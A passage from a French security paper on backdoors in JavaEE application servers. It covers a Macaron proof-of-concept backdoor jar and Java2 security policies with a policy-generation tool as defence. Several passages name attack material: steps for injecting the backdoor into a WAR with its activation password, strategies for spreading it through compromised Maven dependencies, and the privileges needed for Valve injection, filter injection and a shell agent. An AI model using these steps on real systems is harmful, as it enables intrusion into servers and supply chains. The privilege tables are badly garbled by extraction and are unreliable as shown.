La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
